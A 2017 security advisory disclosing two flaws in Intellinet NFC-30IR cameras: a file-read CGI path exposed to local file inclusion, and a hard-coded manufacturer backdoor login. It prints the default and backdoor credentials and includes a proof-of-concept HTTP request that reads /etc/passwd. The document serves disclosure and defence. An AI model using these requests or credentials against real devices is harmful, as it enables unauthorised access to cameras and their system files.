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Multiple Vulnerabilities in Intellinet NFC-30IR Network Cameras
ADVISORY
--------
Title: Local File Inclusion in CGI-SCRIPT & Hard-Coded Manufacturer Backdoor
Advisory ID: BITL-17-001
Date published: 2017-04-05
Date of last update: 2017-04-05
Vendors contacted: Intellinet
VULNERABILITY
-------------
Type: Local File Inclusion (LFI)(Authenticated) & Hardcoded Manufacturer Backdoor
Risk/Impact: Access to sensitive files & Access control bypass.
Exploitation Type : Remote
CVE Name: CVE-2017-7461 and CVE-2017-7462
DESCRIPTION
------------
We found two vulnerabilities affecting the Intellinet NFC-30IR Camera with
firmware version LM.1.6.16.05
1. [CVE-2017-7461] once authenticated as admin:admin, you can read local files
by requesting the '/cgi-bin/admin/fileread?READ.filePath=<insert here>'
Instead of the developer using server-side scripts to render information, it takes the
plain text files and uses /fileread CGI script to simply return the plain text - the
site then relies on Javascript to "format" the text into something pretty.
There is no sanitization nor lock-down of what paths that script can read, hence all
files can be viewed. Interesting files to request are; /etc/passwd; /etc/boa.conf and more.
2. [CVE-2017-7462] a manufacturer backdoor exists that allows one to access a script
called '/cgi-bin/mft/manufacture' by authenticating as manufacture:erutcafunam
This binary has been analyzed before by other vendors. We did not analyze it again as we
feel this is the same file used in other cameras. Note that the NFC-30IR does NOT have the
wireless_mft executable.
The hard-coded manufacturer user:pass is manufacture:erutcafunam as shown in the
below boa.conf snippet;
/----
--snip--
#ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
ScriptAlias /cgi-bin/operator/ /opt/cgi/operator/
ScriptAlias /cgi-bin/view/ /opt/cgi/view/
ScriptAlias /cgi-bin/admin/ /opt/cgi/admin/
ScriptAlias /cgi-bin/jpg/ /opt/cgi/jpg/
ScriptAlias /cgi-bin/ /opt/cgi/
ScriptAlias /jpg /opt/cgi/jpg
# MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam
--snip--
----/
This indicates that the camera hardware may be some kind of modified/stripped version
of a Zavio board.
VENDOR RESPONSE/NOTIFICATION
----------------------------
Vendor was given 7 days to respond, and 3 written notifications.
No response received nor acknowledgement.
Vendor has not released updates to fix the vulnerabilities.
CREDITS
-------
Vulnerabilities discovered by Dimitri Fousekis/RuraPenthe
Additional information on how the manufacture CGI executable works was obtained by
information written by Core Security/Francisco Falcon.
PROOF OF CONCEPT CODE
----------------------
LOCAL FILE INCLUSION THROUGH CGI FILE READER
/-----
GET /cgi-bin/admin/fileread?READ.filePath=/etc/passwd HTTP/1.1
Host: 10.0.0.21
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Referer: http://10.0.0.21/system_info.htm
Cookie: VideoFmt=3
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
-----/
ABOUT BITLABS
-------------
BitLabs is the research division of Bitcrack Cyber Security, a South African & Mauritian
based cyber security company. We specialize in providing our clients with research and
information to combat current and future attacks on their systems and devices.
BitLabs focuses primarily on IoT device research, identifying vulnerabilities and other
attack vectors that can impact users of these devices negatively.
Our Web address is at : http://www.bitcrack.net
DISCLAIMER INFO
---------------
All content of this advisory is Copyright (C) 2017 Bitcrack Cyber Security,
and are licensed under a Creative Commons Attribution Non-Commercial 3.0
(South Africa) License: http://za.creativecommons.org/ and other countries as and when
stipulated.
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